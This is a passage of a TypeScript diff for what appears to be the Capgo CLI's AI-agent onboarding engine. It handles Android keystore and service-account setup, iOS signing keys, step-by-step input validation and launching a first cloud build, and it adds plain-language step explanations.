effect first tries to unlock the key with the store + // password. Only if that fails does it return needsKeyPasswordPrompt:true and the + // driver shows the manual input. Run it as auto here (same as the Ink driver's + // useEffect probe) so the probe path works without requiring a redundant user turn. + const isKeyPasswordProbeStep = step === 'keystore-existing-key-password' && !progress.keystoreKeyPassword + + if (view.kind !== 'auto' && !isKeyPasswordProbeStep) { + if (view.kind === 'done') + return decideBuildPhase(facts, 'android') + + // When we reach service-account-method-select (the first step after the keystore + // phase), write the .p12 file exactly once so the user has a local copy. + // Guard: only when keystoreReady + _keystoreBase64 are both present and the file + // has not yet been written this invocation. + if ( + step === 'service-account-method-select' + && !keystoreFileWritten + && progress.completedSteps?.keystoreReady + && progress._keystoreBase64 + && deps.writeKeystoreFile + ) { + keystoreFileWritten = true + const alias = progress.keystoreAlias ?? progress.completedSteps.keystoreReady.alias ?? 'release' + try { + const writtenPath = await deps.writeKeystoreFile(appId, progress._keystoreBase64, alias) + ctx = { + ...ctx, + _keystoreWrittenPath: writtenPath, + // Surface the password ONLY when it was auto-generated (random method) — + // the user has not seen it. Manual passwords are never echoed back. + ...(progress.keystorePasswordGenerated && progress.keystoreStorePassword + ? { _keystoreWrittenPassword: progress.keystoreStorePassword } + : {}), + } as AndroidStepCtx & { _keystoreWrittenPath: string, _keystoreWrittenPassword?: string } + // Re-read the view with the path set so mapAndroidView gets it right below. + } + catch { + // Non-fatal: keystore data is safe in progress. + } + } + + // Pass keystorePath through to service-account-method-select so the result + // carries context.keystorePath when the keystore was just written to disk. + const writeCtx = ctx as AndroidStepCtx & { _keystoreWrittenPath?: string, _keystoreWrittenPassword?: string } + const keystorePath = writeCtx._keystoreWrittenPath + const keystorePassword = writeCtx._keystoreWrittenPassword + return mapAndroidView(view, facts, keystorePath ? { keystorePath, ...(keystorePassword ? { keystorePassword } : {}) } : undefined) + } + + try { + const r = await runAndroidEffect(step, progress, deps.androidEffectDeps) + progress = r.progress + const transient = r.transient ?? {} + ctx = { ...ctx, ...transient } + + // ── Transient handling (mirrors the Ink driver's logic) ───────────────── + // + // keystore-existing-detecting-alias → wrongPassword: + // Re-prompt for the store password (do NOT advance). + // The progress already has keystoreExistingPath; clear the stale password so + // the next submission goes through detecting-alias fresh. + if (transient.wrongPassword) { + const view = androidViewForStep('keystore-existing-store-password', progress, ctx) + return mapAndroidView(view, facts) + } + + // keystore-existing-key-password (probe) → needsKeyPasswordPrompt: + // The effect could not auto-resolve the key password. + // Map the step as a human_gate so the user can supply it. + if (transient.needsKeyPasswordPrompt) { + const view = androidViewForStep('keystore-existing-key-password', progress, ctx) + return mapAndroidView(view, facts) + } + + // Respect explicit next from the effect (e.g. gcp-projects-loading → gcp-projects-select). + if (r.next) { + forcedNextStep = r.next + } + + // ── Write .p12 once when the keystore phase just completed ────────────── + // Detect transition: progress now has keystoreReady + _keystoreBase64 and we + // haven't written the file yet. Write it and carry the path forward. + if ( + !keystoreFileWritten + && progress.completedSteps?.keystoreReady + && progress._keystoreBase64 + && deps.writeKeystoreFile + ) { + keystoreFileWritten = true + const alias = progress.keystoreAlias ?? progress.completedSteps.keystoreReady.alias ?? 'release' + try { + const writtenPath = await deps.writeKeystoreFile(appId, progress._keystoreBase64, alias) + // Stash path (and the auto-generated password, if any) so the + // service-account-method-select result can expose them. + ctx = { + ...ctx, + _keystoreWrittenPath: writtenPath, + ...(progress.keystorePasswordGenerated && progress.keystoreStorePassword + ? { _keystoreWrittenPassword: progress.keystoreStorePassword } + : {}), + } as AndroidStepCtx & { _keystoreWrittenPath: string, _keystoreWrittenPassword?: string } + } + catch { + // Non-fatal: the keystore data is safe in progress; the file write is best-effort. + } + } + } + catch (err) { + return androidEffectError(step, err, facts) + } + } + + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'android-auto-loop-guard', platform: 'android', progress: 0, kind: 'error', + summary: 'Android onboarding stalled (too many automatic steps without progress). Please retry or run `capgo doctor`.', + rules: ONBOARDING_RULES, + } +} + +function decideBuildPhase(facts: PreflightFacts, platform: Platform): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-ready', platform, progress: 90, kind: 'choice', + summary: `Credentials for "${facts.appId}" (${platform}) are saved. Run your first cloud build now?`, + options: [ + { value: 'build', label: 'Run the first build now' }, + { value: 'skip', label: 'Skip — I will build later' }, + ], + next: { + tool: NEXT_STEP_TOOL, + with: { runBuild: true, platform }, + instruction: `Ask the user. To build now: next_step({ runBuild: true, platform: "${platform}" }). To skip (onboarding still completes): next_step({ runBuild: false, platform: "${platform}" }).`, + call: `${NEXT_STEP_TOOL}({ runBuild: true, platform: "${platform}" })`, + }, + rules: ONBOARDING_RULES, + } +} + +export async function decideAdvance( + facts: PreflightFacts, + progress: OnboardingProgress | null, + input: OnboardingInput | undefined, + deps: EngineDeps, +): Promise { + if (input?.platform === 'ios' || input?.platform === 'android') { + if (!facts.authenticated) + return decideStart(facts, progress, deps) + if (!facts.platformsDetected.includes(input.platform)) + return decideStart(facts, progress, deps) + if (!facts.appRegistered) + return decideStart(facts, progress, deps) + if (input.platform === 'android') + return decideAndroid(facts, deps) + return decideIos(facts) + } + // No platform supplied → resume the active flow if one exists, so a mid-flow + // next_step that omits `platform` does not bounce back to platform-select. + const active = activePlatform(facts) + if (active === 'android') + return decideAndroid(facts, deps) + if (active === 'ios') + return decideIos(facts) + return decideStart(facts, progress, deps) +} + +export interface EngineDeps { + cwd: string + hasSavedKey: () => boolean + getAppId: () => Promise + detectPlatforms: () => Promise + isAppRegistered: (appId: string) => Promise + loadProgress: (appId: string) => Promise + registerApp: (appId: string) => Promise<{ ok: true } | { ok: false, alreadyExists: boolean, error: string }> + loadAndroidProgress: (appId: string) => Promise + finalizeAndroidCredentials: (appId: string) => Promise<{ ok: true } | { ok: false, error: string }> + readBuildRecord: (path: string) => Promise + buildRecordPath: (appId: string, platform: Platform) => string + setIosApiKey: (appId: string, keyId: string, issuerId: string, p8Path: string) => Promise + finalizeIosCredentials: (appId: string) => Promise<{ ok: true } | { ok: false, error: string }> + androidEffectDeps: AndroidEffectDeps + /** Returns true when the current host can launch Terminal.app (macOS). Injectable for tests. */ + canLaunchTerminal: () => boolean + /** Launch `command` in a new macOS Terminal.app window. Injectable for tests. */ + launchBuildInTerminal: (command: string) => Promise<{ ok: true } | { ok: false, error: string }> + /** + * Optional injectable OAuth session registry for testing. When provided, the + * engine uses these instead of the module-level functions in oauth-session.ts. + * Production builds omit this and rely on the module-level registry. + */ + oauthSession?: { + begin: typeof beginOAuthSession + poll: typeof pollOAuthSession + clear: typeof clearOAuthSession + } + /** + * Write the generated/loaded Android keystore (.p12) to a file on disk so the + * user has a durable copy after onboarding. Called once when the keystore phase + * completes. Returns the absolute path of the written file. + * + * Optional — when omitted the keystore is kept in progress only (no file written). + * Omitting does not break the flow; the keystore data is always in _keystoreBase64. + */ + writeKeystoreFile?: (appId: string, base64: string, alias: string) => Promise +} + +export async function gatherFacts(deps: EngineDeps): Promise { + const appId = await deps.getAppId() + const authenticated = deps.hasSavedKey() + + if (!appId) + return { capacitorProject: false, appId: undefined, platformsDetected: [], authenticated, appRegistered: false, androidProgress: null, iosProgress: null } + + const platformsDetected = await deps.detectPlatforms() + const appRegistered = authenticated ? await deps.isAppRegistered(appId) : false + const androidProgress = await deps.loadAndroidProgress(appId) + const iosProgress = await deps.loadProgress(appId) + return { capacitorProject: true, appId, platformsDetected, authenticated, appRegistered, androidProgress, iosProgress } +} + +const MAX_AUTO_STEPS = 8 + +function appConflictResult(appId: string): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'app', state: 'app-id-conflict', progress: 8, kind: 'human_gate', + summary: `The app id "${appId}" already exists and is not in your account. You will need a different app id.`, + human: { + instruction: `Choose a different app id (it must match your capacitor.config). Suggestions: ${buildAppIdConflictSuggestions(appId).slice(0, 4).join(', ')}. Update capacitor.config, then continue. (Automatic rename lands in a later milestone.)`, + }, + next: { + tool: 'capgo_builder_onboarding_next_step', + instruction: 'After the user updates their app id in capacitor.config, call next_step (no arguments).', + call: 'capgo_builder_onboarding_next_step({})', + }, + rules: ONBOARDING_RULES, + } +} + +async function persistAndroidInput(deps: EngineDeps, appId: string, input: OnboardingInput): Promise { + // Seed an empty progress when there is none yet — the keystore inputs arrive + // before any progress exists (the user is on the very first keystore step). + const progressRaw = await deps.androidEffectDeps.loadAndroidProgress(appId) + ?? { + platform: 'android' as const, + appId, + activePlatform: 'android' as const, + startedAt: new Date().toISOString(), + completedSteps: {}, + } + + let updated = progressRaw + + if (input.serviceAccountMethod) { + updated = applyAndroidInput('service-account-method-select', updated, { + step: 'service-account-method-select', + value: input.serviceAccountMethod, + }) + } + + if (input.playDeveloperId) { + updated = applyAndroidInput('play-developer-id-input', updated, { + step: 'play-developer-id-input', + rawDeveloperIdOrUrl: input.playDeveloperId, + }) + } + + if (input.gcpProjectName) { + updated = applyAndroidInput('gcp-project-create-name', updated, { + step: 'gcp-project-create-name', + displayName: input.gcpProjectName, + }) + } + + if (input.gcpProjectId && input.gcpProjectId !== '__new__') { + updated = applyAndroidInput('gcp-projects-select', updated, { + step: 'gcp-projects-select', + gcpProject: { projectId: input.gcpProjectId, name: input.gcpProjectId }, + }) + } + + if (input.androidPackage) { + updated = applyAndroidInput('android-package-select', updated, { + step: 'android-package-select', + packageName: input.androidPackage, + source: 'user-input', + serviceAccountMethod: updated.serviceAccountMethod ?? 'generate', + }) + } + + if (input.serviceAccountJsonPath) { + updated = applyAndroidInput('sa-json-existing-path', updated, { + step: 'sa-json-existing-path', + path: input.serviceAccountJsonPath, + }) + } + + if (input.saMethodChoice) { + if (input.saMethodChoice === 'retry' || input.saMethodChoice === 'oauth') { + updated = applyAndroidInput('sa-json-validation-failed', updated, { + step: 'sa-json-validation-failed', + value: input.saMethodChoice, + }) + } + else if (input.saMethodChoice === 'save-anyway') { + const saPath = updated.serviceAccountJsonPath + if (saPath) { + const bytes = await deps.androidEffectDeps.readFile(saPath) + const base64 = bytes.toString('base64') + updated = applyAndroidInput('sa-json-validation-failed', updated, { + step: 'sa-json-validation-failed', + value: 'save-anyway', + serviceAccountKeyBase64: base64, + }) + } + } + } + + // ── Keystore inputs ────────────────────────────────────────────────────── + + if (input.keystoreMethod) { + updated = applyAndroidInput('keystore-method-select', updated, { + step: 'keystore-method-select', + value: input.keystoreMethod, + }) + } + + if (input.keystorePath) { + updated = applyAndroidInput('keystore-existing-path', updated, { + step: 'keystore-existing-path', + path: input.keystorePath, + }) + } + + if (input.keystoreNewAlias) { + updated = applyAndroidInput('keystore-new-alias', updated, { + step: 'keystore-new-alias', + alias: input.keystoreNewAlias, + }) + } + + if (input.keystorePasswordMethod) { + updated = applyAndroidInput('keystore-new-password-method', updated, { + step: 'keystore-new-password-method', + value: input.keystorePasswordMethod, + }) + } + + if (input.keystoreCommonName !== undefined && input.keystoreCommonName !== null) { + updated = applyAndroidInput('keystore-new-cn', updated, { + step: 'keystore-new-cn', + cn: input.keystoreCommonName, + }) + } + + if (input.keystoreAlias) { + // Resolve which step to apply: alias-select if the current resume step is that, else alias input + const currentStep = getAndroidResumeStep(updated) + const aliasStep: 'keystore-existing-alias-select' | 'keystore-existing-alias' = + currentStep === 'keystore-existing-alias-select' + ? 'keystore-existing-alias-select' + : 'keystore-existing-alias' + updated = applyAndroidInput(aliasStep, updated, { + step: aliasStep, + alias: input.keystoreAlias, + }) + } + + if (input.keystoreStorePassword !== undefined && input.keystoreStorePassword !== null) { + // Route to existing or new sub-flow based on keystoreMethod + const storePasswordStep: 'keystore-existing-store-password' | 'keystore-new-store-password' = + updated.keystoreMethod === 'existing' + ? 'keystore-existing-store-password' + : 'keystore-new-store-password' + updated = applyAndroidInput(storePasswordStep, updated, { + step: storePasswordStep, + password: input.keystoreStorePassword, + }) + } + + if (input.keystoreKeyPassword !== undefined) { + // Route to existing or new sub-flow based on keystoreMethod + const keyPasswordStep: 'keystore-existing-key-password' | 'keystore-new-key-password' = + updated.keystoreMethod === 'existing' + ? 'keystore-existing-key-password' + : 'keystore-new-key-password' + updated = applyAndroidInput(keyPasswordStep, updated, { + step: keyPasswordStep, + password: input.keystoreKeyPassword, + }) + } + + if (updated !== progressRaw) { + await deps.androidEffectDeps.saveAndroidProgress(appId, updated) + } +} + +async function executeAuto(result: NextStepResult, facts: PreflightFacts, deps: EngineDeps): Promise { + if (result.state === 'registering-app' && facts.appId) { + const reg = await deps.registerApp(facts.appId) + if (reg.ok) + return null + if (reg.alreadyExists) + return appConflictResult(facts.appId) + return { + onboarding: 'capgo-builder', phase: 'app', state: 'register-app-failed', progress: 8, kind: 'error', + summary: `Could not register "${facts.appId}" in Capgo: ${reg.error}`, + rules: ONBOARDING_RULES, + } + } + if (result.state === 'android-finalize' && facts.appId) { + const fin = await deps.finalizeAndroidCredentials(facts.appId) + if (fin.ok) + return null + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'android-service-account-invalid', platform: 'android', progress: 45, kind: 'human_gate', + summary: `That service-account JSON could not be validated: ${fin.error}`, + human: { instruction: 'Provide the path to a valid Google Play service-account .json (with access to your app). The file stays on your machine do not paste its contents here.' }, + collect: [{ field: 'serviceAccountJsonPath', desc: 'absolute path to a valid service-account .json file' }], + next: { + tool: NEXT_STEP_TOOL, + with: { serviceAccountJsonPath: '' }, + instruction: 'Ask the user for a corrected service-account .json path, then call next_step with serviceAccountJsonPath.', + call: `${NEXT_STEP_TOOL}({ serviceAccountJsonPath: "/path/to/service-account.json" })`, + }, + rules: ONBOARDING_RULES, + } + } + if (result.state === 'ios-finalize' && facts.appId) { + const fin = await deps.finalizeIosCredentials(facts.appId) + if (fin.ok) + return null + return { + onboarding: 'capgo-builder', phase: 'credentials', state: 'ios-credentials-failed', platform: 'ios', progress: 25, kind: 'human_gate', + summary: `iOS signing setup failed: ${fin.error}`, + human: { instruction: "This often means the API key lacks access, the .p8 moved, or Apple's certificate limit was hit. Provide corrected Key ID / Issuer ID / .p8 path, then continue." }, + collect: [ + { field: 'keyId', desc: 'the Key ID' }, + { field: 'issuerId', desc: 'the Issuer ID' }, + { field: 'p8Path', desc: 'absolute path to the .p8 file' }, + ], + next: { + tool: NEXT_STEP_TOOL, + with: { keyId: '', issuerId: '', p8Path: '' }, + instruction: 'Collect corrected values from the user, then call next_step with keyId, issuerId, p8Path.', + call: `${NEXT_STEP_TOOL}({ keyId: "ABC123", issuerId: "1a2b-...", p8Path: "/path/to/AuthKey.p8" })`, + }, + rules: ONBOARDING_RULES, + } + } + return result +} + +function buildLaunchedResult(platform: Platform, command: string, recordPath: string): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-launched', platform, progress: 92, kind: 'human_gate', + summary: 'I started your first cloud build in a new Terminal window — it takes a few minutes and won\'t block me.', + context: { command, recordPath }, + human: { + instruction: 'A Terminal window is now running your build. When it finishes, tell me to continue and I\'ll fetch the result.', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { checkBuild: true, platform }, + instruction: `When the Terminal build finishes, call next_step({ checkBuild: true, platform: "${platform}" }).`, + call: `${NEXT_STEP_TOOL}({ checkBuild: true, platform: "${platform}" })`, + }, + rules: ONBOARDING_RULES, + } +} + +function buildHandoffResult(platform: Platform, command: string, recordPath: string): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-run-handoff', platform, progress: 92, kind: 'human_gate', + summary: 'Time to run your first cloud build — it takes a few minutes and runs in your terminal, so it won\'t block me.', + context: { command, recordPath }, + human: { + instruction: `Run this in your terminal:\n\n${command}\n\nIt builds in the cloud and writes the result to a file. When it finishes, tell me to continue.`, + }, + next: { + tool: NEXT_STEP_TOOL, + with: { checkBuild: true, platform }, + instruction: `After the build command finishes, call next_step({ checkBuild: true, platform: "${platform}" }) so I can read the result.`, + call: `${NEXT_STEP_TOOL}({ checkBuild: true, platform: "${platform}" })`, + }, + rules: ONBOARDING_RULES, + } +} + +function buildWaitingResult(platform: Platform): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-waiting', platform, progress: 95, kind: 'human_gate', + summary: 'I don\'t see the build result yet.', + human: { + instruction: 'Has the build command finished? If you haven\'t run it yet, run it now; once it completes, tell me to continue.', + }, + next: { + tool: NEXT_STEP_TOOL, + with: { checkBuild: true, platform }, + instruction: `When the build command has finished, call next_step({ checkBuild: true, platform: "${platform}" }).`, + call: `${NEXT_STEP_TOOL}({ checkBuild: true, platform: "${platform}" })`, + }, + rules: ONBOARDING_RULES, + } +} + +function buildDoneResult(appId: string, platform: Platform, rec: BuildOutputRecord): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'done', state: 'build-complete', platform, progress: 100, kind: 'done', + summary: `First cloud build for "${appId}" (${platform}) is ready: ${rec.outputUrl ?? 'see the build record'}. Onboarding complete!`, + context: { appId, platform, jobId: rec.jobId, status: rec.status, outputUrl: rec.outputUrl, qrCodeAscii: rec.qrCodeAscii }, + rules: ONBOARDING_RULES, + } +} + +function buildFailedResult(appId: string, platform: Platform, rec: BuildOutputRecord, recordPath: string): NextStepResult { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-failed', platform, progress: 92, kind: 'error', + summary: `The build did not succeed (status: ${rec.status}). The full record is at ${recordPath}.`, + rules: ONBOARDING_RULES, + } +} + +async function drive(deps: EngineDeps, input?: OnboardingInput): Promise { + if (input?.checkBuild) { + const checkAppId = await deps.getAppId() + const checkPlatform: Platform = (input.platform === 'ios' || input.platform === 'android') + ? input.platform + : (activePlatform(await gatherFacts(deps)) ?? 'android') + if (checkAppId && !isSafeAppIdForCommand(checkAppId)) { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-appid-unsafe', platform: checkPlatform, + progress: 90, kind: 'error', + summary: `Can't start the build: the app id isn't a valid package name (expected reverse-domain like com.example.app). Fix the appId in your capacitor config and try again.`, + rules: ONBOARDING_RULES, + } + } + if (checkAppId) { + const recordPath = deps.buildRecordPath(checkAppId, checkPlatform) + const rec = await deps.readBuildRecord(recordPath) + if (rec === null) + return buildWaitingResult(checkPlatform) + if (rec.status === 'success' || Boolean(rec.outputUrl)) + return buildDoneResult(checkAppId, checkPlatform, rec) + return buildFailedResult(checkAppId, checkPlatform, rec, recordPath) + } + } + if (input?.runBuild) { + const buildAppId = await deps.getAppId() + const buildPlatform = input.platform === 'ios' || input.platform === 'android' ? input.platform : undefined + if (buildAppId && buildPlatform) { + if (!isSafeAppIdForCommand(buildAppId)) { + return { + onboarding: 'capgo-builder', phase: 'build', state: 'build-appid-unsafe', platform: buildPlatform, + progress: 90, kind: 'error', + summary: `Can't start the build: the app id "${buildAppId}" isn't a valid package name (expected reverse-domain like com.example.app). Fix the appId in your capacitor config and try again.`, + rules: ONBOARDING_RULES, + } + } + const recordPath = deps.buildRecordPath(buildAppId, buildPlatform) + const command = `npx @capgo/cli@latest build request ${buildAppId} --platform ${buildPlatform} --output-upload --output-record "${recordPath}"` + if (deps.canLaunchTerminal()) { + const launched = await deps.launchBuildInTerminal(command) + if (launched.ok) + return buildLaunchedResult(buildPlatform, command, recordPath) + // launch failed → fall through to the portable agent hand-off + } + return buildHandoffResult(buildPlatform, command, recordPath) + } + } + if (input?.runBuild === false) { + const skipAppId = await deps.getAppId() + const skipPlatform = input.platform === 'ios' || input.platform === 'android' ? input.platform : undefined + if (skipAppId && skipPlatform) { + return { + onboarding: 'capgo-builder', phase: 'done', state: 'build-skipped', platform: skipPlatform, progress: 100, kind: 'done', + summary: `Credentials for "${skipAppId}" (${skipPlatform}) are saved. You can start your first cloud build anytime.`, + rules: ONBOARDING_RULES, + } + } + } + + const androidInputPresent = input && ( + input.serviceAccountMethod !== undefined + || input.playDeveloperId !== undefined + || input.gcpProjectId !== undefined + || input.gcpProjectName !== undefined + || input.androidPackage !== undefined + || input.serviceAccountJsonPath !== undefined + || input.saMethodChoice !== undefined + || input.keystoreMethod !== undefined + || input.keystorePath !== undefined + || input.keystoreStorePassword !== undefined + || input.keystoreAlias !== undefined + || input.keystoreKeyPassword !== undefined + || input.keystoreNewAlias !== undefined + || input.keystorePasswordMethod !== undefined + || input.keystoreCommonName !== undefined + ) + // Strict step-by-step gate: only the CURRENT android step's single expected + // field may be applied. Runs BEFORE persistAndroidInput so a mega-call + // (multiple fields) / wrong-field / non-answer is rejected with a correction + // and nothing is applied. Scoped to android-input steps only — the iOS + // three-field step and the bare-{} sign-in-proceed path never set + // androidInputPresent, so they are unaffected. + if (androidInputPresent) { + const gateAppId = await deps.getAppId() + if (gateAppId) { + const gateProgress = await deps.loadAndroidProgress(gateAppId) + const currentStep = getAndroidResumeStep(gateProgress) + const check = validateStepInput(currentStep, input as unknown as Record) + if (!check.ok) { + const facts = await gatherFacts(deps) + const corrective = await decideAndroid(facts, deps) // re-returns the current step; no input applied + const allowed = check.allowedFields + const correction = allowed && allowed.length > 0 + ? `This step accepts only one of: ${allowed.map(f => `{ ${f}: ... }`).join(' or ')}. Call ${NEXT_STEP_TOOL} with EXACTLY ONE of those fields and no others${check.extras.length ? ` — remove: ${check.extras.join(', ')}` : ''}. Do not batch multiple answers.` + : `Call ${NEXT_STEP_TOOL} with only the field this step asks for.` + return { ...corrective, summary: `${correction}\n\n${corrective.summary}` } + } + } + } + + if (androidInputPresent) { + const inputAppId = await deps.getAppId() + if (inputAppId) + await persistAndroidInput(deps, inputAppId, input!) + } + + if (input?.keyId && input?.issuerId && input?.p8Path) { + const inputAppId = await deps.getAppId() + if (inputAppId) + await deps.setIosApiKey(inputAppId, input.keyId, input.issuerId, input.p8Path) + } + + // Detect sign-in proceed: plain continue (no android input, no platform choice) at google-sign-in. + let signInProceed = false + const isPlainContinue = !input || (!input.platform && !input.keyId && !input.runBuild && !input.checkBuild && !androidInputPresent) + if (isPlainContinue) { + const spAppId = await deps.getAppId() + if (spAppId) { + const spProgress = await deps.loadAndroidProgress(spAppId) + if (spProgress && getAndroidResumeStep(spProgress) === 'google-sign-in') + signInProceed = true + } + } + + for (let i = 0; i < MAX_AUTO_STEPS; i++) { + const facts = await gatherFacts(deps) + const progress = facts.appId ? await deps.loadProgress(facts.appId) : null + const result = await decideAdvance(facts, progress, input, deps) + + if (signInProceed && result.platform === 'android' && result.state === 'google-sign-in') + return decideAndroid(facts, deps, { signInProceed: true }) + + if (result.kind !== 'auto') + return result + const afterExec = await executeAuto(result, facts, deps) + if (afterExec !== null) + return afterExec + } + return { + onboarding: 'capgo-builder', phase: 'preflight', state: 'auto-loop-guard', progress: 0, kind: 'error', + summary: 'Onboarding stalled (too many automatic steps without progress). Please retry or run `capgo doctor`.', + rules: ONBOARDING_RULES, + } +} + +export async function runStart(deps: EngineDeps): Promise { + return drive(deps, undefined) +} + +export async function runAdvance(deps: EngineDeps, input?: OnboardingInput): Promise { + return drive(deps, input) +} + +/** + * Read-only: determine the onboarding state the user is currently on, WITHOUT + * running any side effect. Mirrors the branch selection of decideStart/decideAndroid + * (preflight → platform → android resume step) but never calls effects. + */ +export function resolveCurrentState(facts: PreflightFacts): string { + if (!facts.capacitorProject || !facts.appId) + return 'no-capacitor-project' + if (!facts.authenticated) + return 'login-required' + if (!facts.appRegistered) + return 'registering-app' + const appId = facts.appId + // Seed an empty android progress the way decideAndroid does so the resume step + // resolves to 'keystore-method-select' (not 'welcome') for a fresh android flow. + const androidProgress = facts.androidProgress + ?? { platform: 'android' as const, appId, startedAt: new Date().toISOString(), completedSteps: {} } + // An in-flight android credential flow (or a fresh android-only project) → resume step. + if (facts.androidProgress) + return getAndroidResumeStep(facts.androidProgress) + if (facts.iosProgress) + return 'ios-api-key' + if (facts.platformsDetected.length === 1 && facts.platformsDetected[0] === 'android') + return getAndroidResumeStep(androidProgress) + if (facts.platformsDetected.length === 1 && facts.platformsDetected[0] === 'ios') + return 'ios-api-key' + return 'platform-select' +} + +/** + * Read-only "explain the current step" entry point backing the + * capgo_builder_onboarding_explain tool. Gathers facts (read-only) and returns a + * plain-language explanation string. Never advances the flow or runs effects. + */ +export async function explainOnboarding(deps: EngineDeps, input?: { state?: string }): Promise { + const facts = await gatherFacts(deps) + const state = input?.state ?? resolveCurrentState(facts) + return explainForState(state) +} diff --git a/cli/src/build/onboarding/mcp/explanations.ts b/cli/src/build/onboarding/mcp/explanations.ts new file mode 100644 index 0000000000..ddf17c9f58 --- /dev/null +++ b/cli/src/build/onboarding/mcp/explanations.ts @@ -0,0 +1,86 @@ +// src/build/onboarding/mcp/explanations.ts +// Plain-language, read-only explanations for onboarding steps. Surfaced by the +// capgo_builder_onboarding_explain tool when the user is confused. No engine +// dependencies — pure data + a lookup with a generic fallback. +// +// COVERAGE: every USER-FACING state (decision / input / gate) has an entry. +// AUTO/TRANSIENT states (spinners + internal transitions: *-running, *-loading, +// *-generating, *-validating, *-detecting-*, welcome, backing-up, *-guard, error, +// build-complete, requesting-build, writing-workflow-file, exporting-env, +// overwrite-and-export-env, uploading-ci-secrets, checking-ci-secrets, +// google-sign-in-running, saving-credentials, credentials-exist) intentionally +// have NO bespoke entry and resolve to FALLBACK — a user does not ask to +// "explain" a spinner. Some wording may be refined later when tests expand. + +const FALLBACK = [ + 'This step is part of setting up Capgo Builder so your app can be built in the cloud.', + 'If you tell me which part is unclear (the question, the options, or what to do next), I can explain it in more detail.', +].join(' ') + +/** state → multi-line plain-language explanation (WHAT · WHY · OPTIONS · WHAT TO DO). */ +export const EXPLANATIONS: Record = { + // ── Preflight ────────────────────────────────────────────────────────────── + 'no-capacitor-project': 'WHAT: We could not find a Capacitor app in this folder.\nWHY: Capgo Builder configures native iOS/Android builds for a Capacitor project, so it needs one here.\nWHAT TO DO: Run this in your app folder, or set up Capacitor first (npx cap init), then start again.', + 'login-required': 'WHAT: You need to be logged into Capgo before we can set up cloud builds.\nWHY: Capgo stores your build credentials against your account.\nWHAT TO DO: Get an API key from app.capgo.io (Account → API keys) and run `npx @capgo/cli login` in your terminal. Do not paste the key into chat.', + 'no-platform': 'WHAT: Your project does not have a native platform folder yet (ios/ or android/).\nWHY: Builds are produced from the native project, so one must exist.\nWHAT TO DO: Add one with `npx cap add android` or `npx cap add ios`, then continue.', + 'register-app-failed': 'WHAT: Registering your app in Capgo did not succeed.\nWHY: We register the app id so the cloud knows where to attach builds and credentials.\nWHAT TO DO: Check the error shown, confirm you are logged in, and retry.', + 'app-id-conflict': 'WHAT: The app id already exists and is not in your account.\nWHY: App ids are globally unique in Capgo.\nWHAT TO DO: Choose a different app id in your capacitor config, then continue.', + // ── Platform ─────────────────────────────────────────────────────────────── + 'platform-select': 'WHAT: We are choosing which app platform to set up first — iOS or Android.\nWHY: Each platform signs and ships builds differently, so Capgo configures them one at a time.\nOPTIONS: "ios" sets up Apple builds (you will create an App Store Connect API key). "android" sets up Google Play builds (mostly automatic; one Google sign-in).\nWHAT TO DO: Pick whichever you want to ship first. You can set up the other one later.', + // ── iOS ──────────────────────────────────────────────────────────────────── + 'ios-api-key': 'WHAT: We need an App Store Connect API key so Capgo can build and sign your iOS app.\nWHY: Apple requires this key to create the signing certificate and provisioning profile.\nWHAT TO DO: In App Store Connect → Users and Access → Integrations, create a key with App Manager access, download the .p8 (you can only download it once), and give me the Key ID, Issuer ID, and the path to the .p8. The .p8 stays on your machine.', + 'ios-credentials-failed': 'WHAT: Setting up the iOS signing credentials failed.\nWHY: Usually the API key details are wrong or the key lacks App Manager access.\nWHAT TO DO: Re-check the Key ID / Issuer ID / .p8 path and that the key has the right access, then retry.', + // ── Keystore (generate) ────────────────────────────────────────────────────── + 'keystore-method-select': 'WHAT: An Android signing keystore is a file that cryptographically signs your app so Google Play knows the build really came from you.\nWHY: Every Android release must be signed with the SAME keystore. If you lose it you cannot update your app, so it matters that we set this up carefully.\nOPTIONS: "existing" — use a keystore file you already have (.jks/.keystore/.p12). "generate" — let Capgo create a fresh one for you and save it locally.\nWHAT TO DO: If this is a brand-new app, generating one is the simplest. If you have shipped before, use your existing keystore.', + 'keystore-explainer': 'WHAT: A short primer on what an Android keystore is.\nWHY: The keystore signs every release so Google Play trusts the build is really yours; it must stay the same across updates.\nWHAT TO DO: Once you understand it, choose to use an existing keystore or generate a new one.', + 'keystore-new-alias': 'WHAT: The keystore "alias" is the name of the key inside the keystore file.\nWHY: A keystore can hold multiple keys; the alias picks which one signs your app.\nWHAT TO DO: "release" is the conventional name and a fine default.', + 'keystore-new-password-method': 'WHAT: We are choosing how to set the password that protects your new keystore.\nWHY: The keystore file is encrypted with this password; you need it to sign future releases.\nOPTIONS: "random" — Capgo generates a strong password and stores it with your saved credentials so you never have to remember it (recommended). "manual" — you type your own password.\nWHAT TO DO: "random" is safest and easiest unless your team requires a specific password.', + 'keystore-new-store-password': 'WHAT: The store password locks the keystore file itself.\nWHY: It encrypts the whole keystore; you will need it for every future release.\nWHAT TO DO: Use a strong password (at least 6 characters) and keep it somewhere safe.', + 'keystore-new-key-password': 'WHAT: The key password protects the individual signing key inside the keystore.\nWHY: It can differ from the store password, but it is commonly the same.\nWHAT TO DO: Reuse the store password unless you specifically need a different one.', + 'keystore-new-cn': 'WHAT: The certificate "common name" identifies who the signing certificate belongs to.\nWHY: It is embedded in the certificate metadata; it does not affect functionality.\nWHAT TO DO: Your app id (or company/app name) is a fine value.', + // ── Keystore (existing) ────────────────────────────────────────────────────── + 'keystore-existing-path': 'WHAT: We need the path to your existing keystore file.\nWHY: Capgo signs builds with the same keystore you already use, so we read it from disk.\nWHAT TO DO: Give the absolute path to your .jks/.keystore/.p12 file. The file stays on your machine.', + 'keystore-existing-picker': 'WHAT: We found candidate keystore files and you can pick one.\nWHY: Choosing the right file avoids signing with the wrong key.\nWHAT TO DO: Select the keystore you use for releases, or provide a path manually.', + 'keystore-existing-store-password': 'WHAT: We need the password that unlocks your existing keystore.\nWHY: We must open the keystore to read and use the signing 